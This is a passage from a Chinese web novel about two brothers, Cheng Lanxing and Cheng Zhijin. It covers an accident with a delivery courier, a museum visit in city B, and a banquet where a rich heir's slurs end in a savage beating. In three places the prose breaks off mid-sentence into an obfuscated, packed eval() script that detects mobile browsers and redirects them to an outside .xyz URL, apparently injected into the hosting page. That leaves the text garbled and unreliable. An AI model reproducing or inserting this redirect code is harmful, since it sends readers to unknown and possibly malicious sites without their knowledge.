两人此时正走到楼栋大门口,在视线死角处,一位身着黄色外卖制服的人冲了出来,嘴里念叨着“操!这破地路怎么这么绕啊啊啊––––” 还在烦躁今天倒霉透顶,单单超时的外卖小哥不知道接下来他会迎来更倒霉的时刻。 等他跑过大厅里那个只起到装饰性作用的柱子,迎上两张气质各异但同样出色的脸时,一切补救措施都已经来不及了。 而程知谨只来得及抓住程揽星的一片衣角。 接着耳旁就传来“咚”的一声巨响。 他的心脏也随之一紧。 程揽星只记得前一秒他还在难过今年也不能和哥一起过年了,结果下一秒他就被人揽入了怀中,用“揽”或许不太合适,那人在快要撞上他时,反应堪称完美地用右手垫在他的脑袋后,另一只手横在他的身旁,以减轻冲撞时带来的力道。 两人一起撞上了背后的大理石墙面,发出一声沉闷的“咚”声。 程揽星最先反应过来,等确认身体上没有疼痛感袭来后,他才看向身前的人。 本应满溢青春气息的脸此刻皱在一起,看着就十分痛苦。 “啊啊啊,痛死了。” 外卖小哥把手从程揽星脑后抽出来,正准备脱下手套查看,一只手抓住他的衣领,把外卖小哥提远了些。 程知谨仔仔细细地检查完程揽星的情况,确认他没有被这场意外伤到后,才转向那位正查看自己右手情况的外卖员。 他的表情很冷,语气更是结了冰一般。 “你没长眼睛?还是没长脑子?在有视线死角的居民楼内疾跑,是不怕撞到人?还是不怕死?” 外卖小哥嘴角抽搐了几下,抬起头朝程知谨翻了个白眼。 程揽星忙拉住程知谨,比手势让他哥不要插手。 “你没事吧?” 程揽星走到外卖小哥身边,掏出出去玩前准备的创可贴,递给他。 不知是刮到了什么,外卖小哥的手背上有一道不小的口子,此刻正往外渗血。 本来池榆夏都已经摆好架势准备和那个冰山脸大吵一架了,撞到人确实是他不对,但他今天单单超时,被撞的人一点事都没有,反而他可能要去医院,本来就烦,这人话还说得这么难听,就算是他错了,那也要把这个气给出了。 但没想到被撞的人不仅长得好看,心地还这么善良,没有责怪他不说,还给他创可贴。 池榆夏的气一下子就消了,他双手合十,接过程揽星递给他的创可贴,小声道歉,“对不起,我应该小心一点的。” 程揽星绽开笑容,这个外卖员的年纪看起来不大,可能还是个高中生,小朋友嘛,毛毛躁躁的很正常。 这样别别扭扭道歉,但眼睛亮晶晶看着自己的样子有点像小狗,让人忍不住想摸摸他的头,“没关系,下次小心一点,这样很容易受伤。” 小狗立马雨转天晴,咧开嘴角傻兮兮地笑道:“哥你人真好,长得还这么好看。” 程揽星愣了一下,还是没忍住摸了摸他的头。 “谢谢啊,你长得也很好看。” 池榆夏身后的尾巴摇得更欢了。 这边两人开心了,他们身后的程知谨冷着脸,上前握住程揽星的手,略强硬地中断了这场人类抚摸小狗行为。 池榆夏脸上的表情立马转晴为阴,想冲他汪汪叫,结果余光瞥到门外的电动车,立马崩溃大叫,“啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540825|170971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊啊!完了!我的工资。” 他将创可贴放到口袋里,戴上手套,拔腿朝外跑去,还不忘对程揽星说声再见。 程揽星笑着朝他的背影挥了挥手,扭头见他哥面色不愉地盯着自己,忙双手抱住他哥的胳膊,理直气壮道:“哥,都怪你们刚才不喊我起来,我现在特别特别饿。” “我们快去吃饭吧。” 等到两人将菜全部端上桌时,时间过去了一个小时。 这么多年近似于独居的生活,让生活技能本就掌握得不错的程知谨更趋近于完美,一个小时内做完四菜一汤当然不在话下。 程揽星捧着脸把他哥从头夸到脚,程知谨走到哪就跟到哪,眼里的崇拜一点也不含糊,“哥,你好厉害呀,不愧是我哥,做什么都轻轻松松,切菜的时候好帅,倒调料的时候好帅,炒菜的时候也好帅……” 这样的程揽星和程知谨脑中小时候的样子重合,那时的程揽星也是这样,满心满眼都是自己,一刻也不愿意离开自己身边半步,就连他要去上学时,也眼巴巴跟着。 但也许是心里清楚他哥要去做一件十分重要的事,跟了几步,又慢慢停下小短腿,眼泪汪汪地往回走。 程知谨想到这里,心里闪过一抹愁思,但很快又被程揽星的疯狂夸夸逗笑了。 “夸张。” 程揽星坐到桌旁,轻哼一声,把碗筷递给他哥,“那你还不是喜欢听,虚伪。” 程知谨闻言笑了笑,没有反驳。 他状似无意道:“今天玩得开心吗?” 程揽星点点头,“还蛮开心的,没想到我在滑雪上这么有天赋,下次去滑我想尝试一下高级雪道。” “和谁一起?” “当然是和哥一起。” 程揽星深谙哄哥小技巧,他放下筷子,又去勾他哥的小拇指,“我们说好了的,你可不许反悔。” 程知谨的面色稍霁。 程揽星拿起筷子,恨不得当笔一样转几圈,但他理智尚存,将将起势,转而夹了一筷子菜。 两人吃完饭后,程揽星坚持自己洗碗,让他哥先去洗澡,好早点休息。 等他洗完碗出来,却见浴室里的灯没开,很显然里面没人。 程揽星寻了一圈,在阳台那找到了程知谨。 他手上夹着支烟,靠在栏杆上,微仰头,目光没有焦距,似乎维持了一会这个姿势,烟头正下方落了星点烟灰。 程揽星走过去,脚步声惊动了他,程知谨把烟掐灭。 “星星,别过来了,有烟味。” 程揽星于是站在原地,“哥,你什么时候开始吸烟的?” “嗯,高三?” 其实他也记不太清了,那件事是什么时候知道的。 也可能是高二。 气氛凝滞了一瞬,程揽星闻到淡淡的烟味,他深吸一口气,出声时有些微暗哑,“我完全不知道。” 程知谨将掐灭的烟扔进垃圾桶,倚在栏杆上,这样的姿势下,两人恰好能够平视对方。 “我不在家吸烟。” 程揽星调整好情绪,认真道:“哥,你是不是有什么烦心事?在服务大厅时,我也闻到了你衣服上的烟味。” “没有吸,只是点着。” 程知谨避开问题。 程揽星走过去,抱住程知谨,“哥,我们进屋去吧。” 阳台开了窗,不如屋内暖和,程揽星迎面便是冷风,他吸了吸鼻子,小声嘟囔了一句,“好冷。” 两人挨得近,程知谨全听了去,他推开程揽星,让他进屋去。 程揽星摇摇头,摊开手,一边掌心里躺着程知谨的打火机,一边则是一支烟。 火光亮起,那支烟燃起星点橘色。 烟尾即将碰到嘴唇时,程知谨捉住他的手,将那根烟抽出,碾灭后扔进垃圾桶。 “走吧,我们一起进去。” 18. 小鲸鱼 程揽星洗完澡,想起还有几张雪景图没有发,他困得很,发完照片倒头就睡。 黄一徊和孙维过了一个小时才冒泡,两人比程揽星的作息还要混乱,完完全全称得上昼夜颠倒。 因而第二天醒来后,程揽星才看到消息。 小黄人:没有第一时间欣赏揽星发来的美图,痛失了一个亿呜呜呜 小黄人:@住在月亮隔壁人呢? 小黄人:@住在月亮隔壁去哪了? sw:你也不看看现在几点了 小黄人:他平时也没睡这么早啊 。:应该是滑雪累着了 小黄人:哦哦,说的也是 小黄人:揽星还在c市吗?看图片,像是和他哥一起去的 sw:不知道 sw:我刚刚搜了下,c市好像没有滑雪场,可能回家了 小黄人:那我们什么时候一起去滑雪? …… 程揽星边吃早餐,边翻看群里的消息,杨岸全程没怎么说话,那两人一直聊到一点半才互道晚安。 住在月亮隔壁:@小黄人还在c市,昨天在a市滑雪 。:什么时候回家? 住在月亮隔壁:过年前几天吧 回完消息,程揽星放下手机,把桌上的碗筷收拾了。 程浩前几天给他打电话,程叔叔前段时间感冒引发肺部感染,现在在医院里住院,程旭知道后回了趟家,不过只呆了一天就走了。 他回来时还带了个朋友,两人形影不离的,程浩说完后,忙急急补充了句,“但肯定不如和揽星哥哥的关系,你们俩是最铁的。” 这会,程揽星看着手机里‘超过24小时未收款’而被退回的转账,恨不得冲进屏幕里一把揪住程旭的衣领,把他骂上三天三夜。 住在月亮隔壁:你个混蛋,不回我消息就算了,钱你怎么好意思不收的!!! 那可是他靠节省生活费和做游戏代肝存下来的钱。 往上翻去,是接连几十条单方面的消息,中间掺杂了几条对面撤回消息的提示。 从前他怎么不知道程旭是这么沉得住气的人,居然能忍住这么久不给他发消息,也不回他的消息。 正想着,手机屏幕突然亮了。 禾下日:你是谁? 程揽星几乎要以为自己眼花了,他忙点进消息框,但那条消息很快便被撤回,一如之前那些未被送达的回复。 住在月亮隔壁:你怎么回事??? 但这条消息也如之前一般石沉大海。 程揽星气得扔下手机,决定先去洗澡,好冷静冷静。 等他洗完澡出来,略怀期待地拿起手机查看消息时,发现程旭竟然回他了。 禾下日:你留着自己用吧 住在月亮隔壁:居然舍得回我消息了?!! 禾下日:嗯哼,看你想我想得太辛苦了 住在月亮隔壁:你刚才怎么回事?你不会是把我删了之后,刚刚才加回来吧? 禾下日:当然不是,发错了 住在月亮隔壁:最好是 住在月亮隔壁:在外面怎么样 禾下日:就那样,该吃吃该喝喝,该打螺丝就打螺丝呗 住在月亮隔壁:不准备读书了? 打下这行字时,程揽星犹豫了好一会,程旭走得决绝,大概率是不会再回来读书了,但他心里还有期翼,程旭的未来不该如此。 对面过了好一会才发来消息。 禾下日:嗯,读书其实也没什么意思 住在月亮隔壁:把转账收了,不是白给你的,要收利息的 禾下日:谢了 两人聊了好一会,每次程揽星问他现在在哪时,程旭都会打哈哈糊弄过去,弄得人一口气半吊着,火也发不出来,但好歹是联系上了,程揽星便没像之前那样着急。 晚上程知谨回来后,程揽星和他提了一嘴程旭的事。 “我知道他其实还是想读书,就是程叔叔的病,哎……” 程知谨听完,道:“他办理的是休学手续。” “?” 程揽星听到这话,心有震颤,一方面为说这话的对象,一方面为这话的内容。 “哥,你怎么知道的?” “之前给你们班主任打电话,他告诉我的。” 程揽星不禁面露喜色,满怀期待地看着程知谨,“那就是说程旭可以继续读书了?” 程知谨将剥好的葡萄递到程揽星嘴边,他说完最后一个字,顺势吞入口中。 程知谨摇摇头,“那要看他愿不愿意。” 闻言,程揽星稍愣,确实,他想得太简单了,这根本就不是程旭想不想的问题,而是他能不能。 程揽星长叹一口,瘫倒在程知谨腿上,“哎,当时离高考就只剩半年了。” 程知谨用湿纸巾擦干净手,换了个姿势,让程揽星躺得舒服些。 “程旭很有主见,这个选择应该是他当时认为最正确的。” 程揽星抬眼去看他哥,“我大概知道他怎么想的,就是有点忍不住为他难过,我俩都约好要考一个大学了,他还说什么读书没什么意思,骗骗他自己得了。” 程知谨压下心底的不快,轻轻捏了捏程揽星的脸,语气平静,“所以他才没有告诉你,他觉得失信于你,也失信于自己。” 空气静默了一瞬,程揽星忍了忍,还是没忍住,“程叔叔一点也不值得他放弃前途,根本就没有尽到过作为父亲的责任。” 但他也知道,程旭虽然总骂他爸是个老不死的,其实心里还是很在乎程叔叔。 血浓于水,这四个字要想割舍,远没有想象中那么容易。 明天是周末,程知谨要去b市出趟差。 程揽星知道后,想和程知谨一起去。 “哥,我们都没有一起去其他地方玩过,你难道不想和你最爱的弟弟多留下些美好的回忆吗?” 程知谨刚发完邮件,他合上电脑,思考了一瞬,“b市没什么景点,可能会让你失望。” “不会,和哥在一起就不会无聊。” 两人说好后,程揽星兴冲冲地拿着程知谨的手机订票,简单收拾了一下行李。 等东西都收拾妥当后,程知谨打开床头灯,靠在床头浏览文件,程揽星侧着身子和他哥说话。 “哥,这好像是我们第一次一起去其他市玩哎。” 程知谨垂下视线,摸摸他的头,“以后想去哪?我都陪着你。” 程揽星忍不住把脸埋进枕头里笑,“好霸总的语气,听起来像是在说想要什么就给我什么一样。” 他的耳旁传来一阵窸窣声,周边的灯光彻底熄灭,身旁的人把他揽入怀中。 程知谨低沉的声音离得极近,“在所不辞。” ———— 第二天,二人早早起床,向着b市出发。 程知谨原先计划的是下午一点出发,但因为要和程揽星先玩一会,因而上午六点半就出发了。 他们先去酒店,放好行李后,在酒店附近找了家面馆,简单地填了下肚子。 程揽星这下才算活过来,他打开自己在车上花费半小时做出来的b市景点和打卡点攻略,让程知谨只管跟着他。 b市确实没几个景点,而且就那么些东西可以看,两人花了一个小时就逛完了。 不过程揽星对于打卡点比较感兴趣,所以也没有太失望。 “没事,哥,等会去的地方肯定会让你惊艳的。” 等他满怀期待地和程知谨坐地铁到达地方时,不禁直呼诈骗。 已经不止是精装和毛坯的差距了,要不是确认地址没错,程揽星都要以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540826|170971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为他们找错地方了。 程知谨接了个电话回来,见程揽星耷拉着脑袋站在路边,问他怎么了。 “图片与实物完全不符,我要报警把那些诈骗的人抓起来。” “没事,我们去别的地方。” 程揽星点点头,跟上他,走了几步,反应过来,“哥,你是不是早知道这里的实景和图片不一样了?” 程知谨点点头,嘴角略带笑意。 程揽星撇撇嘴,有点郁闷,“那你怎么不早点告诉我,白跑一趟了。” 两人行至人行道处,恰好是绿灯,程知谨牵起程揽星的手,带着他过马路。 “那份攻略是你花了心思做的,亲眼看看,好过你心里有遗憾。” 过了人行道,前方聚过来一群人,程知谨揽着程揽星,将他与人群隔开。 “而且我要带你去的地方就在这附近。” 走了大概五分钟,两人停在了一座约莫12米高的菱形建筑前。 这座海洋彩绘馆近期才建成,还没有完全开放,程知谨托他在b市的朋友预定了两张入场券。 进门后,入目便是从前方墙壁延伸到天花板上的巨大鲸鱼彩绘,鲸鱼的下方摆放了一座螺旋状环形喷泉,视觉效果上看,就像是那只鲸鱼所喷出的水一般。 程揽星拿出手机,对着天花板给鲸鱼拍了好几张张照片,“它嘴里还有个小爱心。” 鲸鱼的面部和它颇写实的身体不同,也许是彩绘师的小巧思,表情画得十分憨态可掬,用来迎客确实再好不过。 经过服务台时,两人做完登记,导引员问他们需不需要盖纪念章。 程揽星对此很有兴趣,接过印章,一连在手上盖了两个。 是天花板上那条鲸鱼的Q版。 他左看右看,满心满眼都是“太萌了”。 程知谨见他盖完了,就要带着他朝里走。 “哥,你也盖一个吧,这个纪念章特别可爱。” 他举着手,让程知谨看成品。 程知谨兴致缺缺,心想这有什么可爱的,明明你自己更可爱,但他还是把手伸出来,让程揽星盖了两个。 盖好后,程揽星把自己的小鲸鱼和程知谨的放在一起,用手机拍了张照,发给程旭。 住在月亮隔壁:猜猜我和谁在一起? 导引员接过印章,礼貌询问道:“馆长为本月来场馆参观的每位情侣都准备了礼物,请问两位想要现在领取还是离馆时领取?” 这话说完,递还印章的那个人明显愣住了,不一会脸颊便爬满了红晕,他结结巴巴道:“什,什么?我们不……” 站在他身后的那人上前一步,道:“现在领取,麻烦了。” 她便没再说什么,从一旁拿来一对彩绘雕塑,用礼品袋装好后,交给两人。 一旁脸上红晕更甚的人现在还未反应过来,接过礼品袋那人牵起他的手,带着他朝馆内走去。 导引员看着两人的背影若有所思。 也许她下次用词应该委婉一点,毕竟确实会有人容易害羞。 不过有什么比情侣委婉一点的词吗? 离服务台有点距离后,程揽星脸部的温度降下了些,好歹是没先前那么红了。 两人掌心的温度相似,并肩走在螺旋梯上。 他问程知谨:“哥,你刚才怎么不解释一下?” “解释的话,不就没有这么可爱的小鲸鱼了?” 程知谨停下步子,把小鲸鱼从礼品袋中拿出来,两个小家伙拼起来后是一对。 程揽星站在高一阶的楼梯上,垂下眼睛看着他哥,才稍稍降温的脸又红了些。 他把小鲸鱼拆开,分一只给程知谨。 小鲸鱼嘴里那颗爱心碎了一半,表情依然憨态可掬。 程揽星摸摸小鲸鱼,哎,确实可爱。 19. 宴会 程知谨剩下的时间不多,两人在场馆里逛了半个多小时,他便要去处理工作上的事。 他走后,程揽星一个人逛了会,场馆内的人不多,大多数体验项目都不需要排队。 出场馆时,先前的导引员看见他,笑着对他道别。 程揽星的脸又红了,挥手回应。 等走到场馆外,程揽星拿出那只小鲸鱼,在蓝天的映衬下,他又端详了一遍,越看越满意。 这会正是饭点,在外面吃完饭后,他便回酒店躺着了。 程知谨回来时,程揽星刚和先前的客户结束交易。听到门口的动静,他抬头看去,程知谨正在松领带,手上拿着张请柬。 程揽星伸手,程知谨把请柬递过去。 是宴会邀请函。 包装很简单,两侧印有烫金纹饰,请柬上面只写了两行字,一行是程知谨的名字,另一行则是地址和时间。 “哥,你会带我一起去的吧?” “你想去吗?” 程知谨将领带放在桌上,转身去洗手。 程揽星跟在他身后,酒店的洗手间不大,两人进去后,空间瞬间变得拥挤。 这样的后果就是,程知谨的背后一直贴着个毛绒绒的脑袋。 “呆在酒店太无聊了,而且哥你不是没舞伴吗?我可以充当呀,邀请函上又没限制性别。” 程知谨本没有去的打算,听到他的话,擦干手上的水珠,道:“那走吧。” “不是八点半才开始吗?去这么早吗?” “先给你买衣服。” ———— 宴会厅内,台上的人说完祝酒词后,程揽星和程知谨打了个招呼,便四处逛去了。 先前还没开始走流程时,程揽星跟在程知谨身边,听他和别人寒暄客套,没一会就给他听困了。 原本他就是觉得待在酒店太无聊了,才想跟过来看会不会有趣些,哪知他们聊的内容这么乏味。 虽然个个脸上都带着笑,嘴里的钩子却不见少。 好在宴会厅里吃的种类不少,而且还有很多程揽星没喝过的饮品。 他一路边走边吃,走到宴会厅后的小院子时,手上不知什么时候多了杯红酒。 程知谨对他这方面管得不严,但也不让他多喝。 刚才在里面时,程揽星喝了好几杯果酒,味道都挺不错。 他在心里默念,我就喝一口,真的就喝一口。 然后低头尝了口手中的红酒,喝完后,他皱起眉。 程揽星觉得这酒味道怪怪的,不合他的口味,便拿在手上,没再喝了。 这小院子是半露天式的,程揽星所在的这处建了景窗,拐过去后才能看到院子的全貌。 才走到拐角处,前方传来夹杂着怒气的说话声。 “……操,他有什么可傲气的,不就是个私生子吗,苏家能让他进门,那是苏太太不计较,不然他现在还不知道跟着他那个破鞋妈在哪里捡垃圾。” “小声点,你想被那个疯子听到吗?” 一旁的人压着声音,语气里满是惊惧。 程揽星停下脚步,郁闷自己怎么总遇到这种事。 “听到又能怎么样?要不是苏逸州现在不在国内,他有什么资格出现在这种场合?老子和他说话那是看得起他,给脸不要脸的东西。” 他说完后,似乎是嫌不解气,连连呸了几声。 另一道声音响起,略有些阴柔,“余寒你他妈骂他就骂他,别来恶心我啊我操。” “你也别在这假惺惺了,当初他那巴掌把你打成他孙子了?喜欢男人的恶心玩意,指不定上了多少老头子的床。我操,我他妈就说同性恋都不正常,都他妈的是心理变态。” “……” 程揽星本想等他们说完了再过去,但那几人言辞间越来越过分,他握紧手中的红酒杯,眉毛拢起。 宴会厅内,不远处有几个人正在交谈,程揽星抬头看了一圈。 他走出拐角,路过几人时,被不知什么东西绊了一脚,一杯酒不偏不倚,全倒在了那满口脏话的人身上。 那人正说到激动处,背后猛地被一阵凉意侵袭,冷得他一哆嗦,“我操,哪个没长眼睛的东西?” “哎呀,不好意思,不好意思。” 程揽星面色惊慌,忙绕到他身后,拿出纸巾给他擦拭,红酒渍在昏黄灯光的照射下,格外显眼,他压下嘴角的冷笑,手上动作不停。 那人转身拍开他的手,脱下衣服,看清上面的痕迹后,崩溃大叫,“操,你他妈故意的是吧?” 他的力气不小,程揽星手上的纸巾掉在地上,滚了两圈,恰好停在他的脚边。 这下他的火气更盛了,泄愤般抬脚踢开。 “你他妈就用这种脏东西来擦我的衣服?” 程揽星拿纸巾的动作顿住,委屈道:“那张纸巾我没用过。” “噗呲——” 发出声音的,正是先前那个声音阴柔些许的人,见众人的目光都朝他看来,他忙将手放在唇边,做了一个拉拉链的动作。 那人被程揽星这句轻飘飘的话气到心梗,打量程揽星两眼,印象中b市叫得出名号的家里没有这人,只当他是谁带来见世面的小情人,于是气焰更嚣张了些。 “你他妈是不是听不懂人话,我那话是你说的那意思吗?脑子没进化完全就别出来丢人现眼了,这路这么宽,你是没长眼睛吗?故意往我身上撞是不是?” 两人这边的动静吸引了宴会厅内正在交谈的那几人,见这边似乎发生了什么摩擦,他们互相对视一眼,朝这边走来。 “听得懂人话,脑子进化完全了,长眼睛了,没故意往你身上撞。还有一点,你这完全是污蔑,我都不认识你,为什么要故意把酒泼到你身上,明明是你绊了我,我才没拿稳酒杯,你要是不信,那我们一起去看监控?” 程揽星指指东南角,黑色的镜头朝向这边,上方正闪烁着红色的光。 “你……” 那人身旁的人拽拽他的衣服,示意他有人过来了。 那群人已走到几人身边,本就离得不算远,因而都将程揽星的话一字不漏地全听了去。 其中一个穿白色西装的人端着得体的笑容,问道:“余少,这是怎么回事?” 他口中的余少,正是被程揽星不小心泼了红酒的人。 一旁的人还拽着他的衣服,余少面部肌肉抽动几下,恨声道:“没什么,这人不小心弄脏了我的衣服。” 程揽星举起没拿酒杯的那只手,道:“那是因为他绊了我。” 那群人中有人看见了,不由得笑出声,瞥见余少的衣服后,笑声更大了些。 一时之间,余少脸上变了好几个色,他转过身来,正好碰见程揽星把手收回去,心中料定这人做了什么手脚,他阴恻恻道:“你叫什么名字?” 程揽星将被他拍得红了几分的手收回,面不改色道:“我叫余寒。” 周边认识余寒的都笑出了声,不认识的人左右看了看,虽然不明所以,脸部肌肉也跟着牵动,做出笑脸。 “你他妈……” 余寒举起拳头,一旁的人拉住他,在他耳边说了几句话。 方才气得仿佛要让程揽星血溅当场的人冷静下来,脸上挂上不怀好意的笑容。 服务员适时递过来一杯红酒,他端着晃动了几下,冲程揽星道:“我也不是个不讲理的人,只不过不凑巧,本少爷今天心情不太好,你泼我这一下,少说也要赔个几万,看你穿的也不是什么高档货,我呢,也就不要你那几个寒酸钱了。” “你泼我一下,我也泼你一下,公平,谁都不吃亏。” 还没等程揽星说什么,余寒止了晃动酒杯的手,那杯酒就朝他泼了过来。 周边人看热闹不嫌事大,嘘声一片。 程揽星只来得及抬手挡住脸。 但预想中的冰冷没有来临,身后的人拉过他,将那酒全挡在背后。 程揽星抬起头,与一双淡漠的眼睛对上视线。 几滴红色液体爬过他凌厉的眉眼,顺着脸颊滑落。 程知谨皱起眉,放开程揽星,抹去脸上的液体。 “哥。” 对于程知谨的出现,程揽星有些惊讶,两人相隔的距离可不近。 “他还对你做了什么?” 程知谨的声音很沉,山雨欲来。 余寒显然没想到会突然蹦出来个人,他咽了咽口水,压下心底的不安,“你又是谁?” 程知谨偏头看他一眼,那一眼,如看死物。 他没回答余寒的问题,拿过程揽星手上的酒杯,“哐当”一声,碎片在墙体上炸开,其中一片划过程知谨的脸颊,留下浅浅的血痕。 小院子里的人多了些,围观了全程的人没料到事态会是这样的发展,而刚来的人心中大骇,对于接下来的发展各有猜测。 程揽星拉住程知谨,摇摇头,眼里满是担忧。 程知谨按下程揽星的手,安抚道:“没事,我有分寸。” 他掂着手中只剩下杯座的红酒杯,走向余寒。 “哪只手?” 那杯酒没泼到程揽星的身上,本就让余寒觉得丢了面子,现在被人忽视个彻底就算了,甚至还来明目张胆地威胁他。 他的脸色涨红,一边嚷嚷着“关你屁事”,一边向后退。 程知谨勾唇冷笑,在众人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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程揽星正在拿纸巾替他哥擦拭手上的血迹,听到这人又提起自己,提高声音,可怜巴巴道:“明明是你绊了我,不信我们就去看监控。” 余寒心里那团火因他这话一下子窜到喉咙口,“贱人就是贱人,倒打……” 这话还没说完,苏逸轩手中的那杯红酒倾斜,从他头顶一滴不漏地流了下来。 余寒呆在原地,沾湿的刘海黏在额头上,配合着红色的液体,看起来颇为滑稽。 周边人这回却不是看热闹的心态了,心里都在大呼不妙,但没人敢上前,也没人敢出声。 苏逸轩扯下领带,缠在手上,他冷着脸,满身戾气尽数释放,活像从地狱里爬出来讨命的阎罗王。 天旋地转间,余寒只觉得灵魂仿佛脱离了身体,飘荡在两人上空,脑海深处只余苏逸轩那双猩红眼眸。 小腿处的剧痛唤醒了他,余寒蜷缩起身子,铺天盖地的拳头落在他的脸上、身上。 他连求饶声都发不出,喉咙里堵着浓烈的血腥气,“赫赫”几声,嘴里只流出源源不断的血。 众人僵在原地,将这场暴行尽收眼底,但没人敢上前阻止。 很快,两人所在的地方积起一小股血,随时间流逝,慢慢汇成一大滩。 程知谨在一旁冷眼看着。 血腥气一点一点覆盖住院子里的花香。 程揽星原先确实是想给余寒一个教训,但他没想过用这种方法。 这会看着他蜷缩成一团的身体,满脸青紫的脸,心下大骇。 再打下去就要出人命了。 他忙上前抱住苏逸轩的腰,想把他拉开。 但他的力气哪比得过苏逸轩。 “逸轩哥,够了,别再打了。” 苏逸轩的眼里只有无边无际的血红色,愤怒早已将他吞噬殆尽。 他退化成人类最原始的形态,置身于荒原中,与身下的猎物殊死搏斗。 猎物在他的进攻下,慢慢失去反抗之力。 正要一击毙命时,远远传来一道熟悉的声音,他迟钝地动了动脑袋,胸口随呼吸上下起伏。 苏逸轩转过身来,没有焦距的眼睛定定地看着程揽星,良久,他低下头,靠在程揽星肩上。 搭在程揽星背上的那只手中,被染至看不出原先颜色的领带滑落下来,掉在地上,一旁便是余寒那张鼻青脸肿、辨不出五官的脸。 程揽星的脸上沾了血迹,他抬手想擦掉,才刚有所动作,苏逸轩便如梦初醒一般,迅速逃离。 他站起身,揉了揉额头,疲惫道:“走吧。” 四周的人散开,空出一条通道,苏逸轩走过去,滴了一路的血迹。 行至人群中,他偏头看过来,被他视线触及的人,都像被烫到了一般,连连后退,缩着肩膀做鸵鸟。 有人顺着他的视线看过去,那里站着先前泼了余寒红酒的人。 苏逸轩眼里涌现出旁人看不懂的复杂情绪,他的右手才递出去,触及上面的血迹,又收了回来。 就在众人猜测他下一步要做什么时,他却转了身,一步一步朝宴会厅里走去。 20. 不息 等苏逸轩离开后,才有人手忙脚乱地赶到余寒身边,去查看他的情况。 余寒裸露在外的皮肤没有一处是原本的颜色,青紫交叠,有几处皮开肉绽,不断向外渗血。他的右手血肉模糊,已辨不出形状,先前被扎的地方结起一层厚厚的血痂,几处指甲连着皮肉外翻。 众人虽觉得他落得这样的下场,属实有些凄惨,但心里却没几分同情。 先前一直试图阻止余寒把事态闹大的人,探完他的鼻息,咬咬牙背起他,从一旁的小门走了。 几位主人公都陆续离开,他们也没了留下的理由,转身时,又挂上先前那般虚伪的笑容。 程揽星和程知谨在那位白西装的带领下,到三楼的房间换衣服。 房间里开着盏暖黄小灯,程揽星走到门边,按亮其他的灯。 屋内的布局霎时间清晰了许多。 程揽星靠在墙边,目光落在前方跳跃的圆点上,脑袋放空。 “擦擦吧。” 那位白西装递过来一条湿毛巾,程揽星接过,道了声谢。 “叶舒洋,我的名字。” 他脱下外套,挂在手上,嘴角的笑容一如先前一般,看着让程揽星心烦。 “程揽星。” 叶舒洋点点头,若有所思。 程揽星才懒得管他在想什么,拿出口袋里的手机,低头摆弄起来。 禾下日:又在和你哥约会呢? 程旭说话一直没个正形,这样的话不知说过多少回了,要是放在以前的程揽星身上,完全不会有什么反应,但是今天发生了点意外,视线触及“约会”两个字时,脑中闪过回忆,他不由得红了脸。 打字时的力道都大了些。 住在月亮隔壁:你说话能不能正经点 住在月亮隔壁:怎么这么迟才回我消息? 禾下日:在打螺丝 程揽星只以为是上班时间不能玩手机,因而也没有太在意,和程旭贫了几句嘴,转而去玩开心消消乐了。 叶舒洋的视线一直放在他的身上,所以也没有错过他的表情变化。 一旁浴室里的流水声停了下来。 “你是程知谨的弟弟?” 光从长相来说,两人其实不太像,气质差别也很大,但两人既是同姓,又如此亲密,叶舒洋只能往这个方向去猜。 “或者,是他的亲戚?” 这个游戏程揽星通了七千关,现在正是他的攻坚期,但旁边那人没有丝毫自觉,开了话头就停不下来。 程揽星皱起眉,把手机揣进兜里,语气不耐,“你到底想问什么?” 许是没想到程揽星会是这样的反应,他的面具碎了几分,但很快又重新缝合好,叶舒洋端起笑容,语气更温和了些,“抱歉,我没有恶意,你不用对我这么警惕。” 这话说出来,在场根本没人相信。 “嗯哼?如果不是抱着套话的目的,那我还能相信你几分。” 叶舒洋有些意外,原先他和余寒想法相同,以为这人只不过是空有外表的花瓶,经过刚才那一出,他猜测这三人间有些许纠葛,甚至可能还不小。 但现在看来,他们之间的关系,大概远不如自己想的那么简单。 “抱歉,是我唐突了。” 程揽星抓抓头发,实在不喜欢和他这样一句话能在肚子里转八百个弯的人打交道。 恰好浴室门开了,程知谨重新换了身衣服出来,见两人之间的气氛不太好,他拿上装着脏衣服的袋子走过来。 程知谨朝叶舒洋看了一眼,后者笑容有些心虚,他牵起程揽星的手,“星星,我们走吧。” 程揽星点点头,他巴不得快点离开。 “拜拜。” 他朝叶舒洋挥挥手,脸上那瞬间轻松了许多的表情,让叶舒洋的心情有些微妙。 “好的,慢……拜拜。” 叶舒洋别扭地举起手,学着程揽星的动作,左右摆动几下。 两人出了房间门后,朝楼下走去。 “哥,我们现在回去吗?” 宴会进行到现在,已临近散场,而且出了刚才那事,程揽星也没什么心情再待下去。 “嗯,去停车场。” 程知谨神色淡淡,看不出心情如何。 程揽星咬着嘴唇,纠结了一会,索性一口气把话说完,“我本来是想去那边坐一会,才走到院子里就听到那个人在说别人坏话,他骂得可脏可脏了,我真的不想惹麻烦的,但是他说的真的很过分,我手上的酒杯听不下去,路过他们时自己泼在他们身上了。” 说完后,他顺了口气,继续道:“而且他肯定打不过我,我有信心保护好自己。” 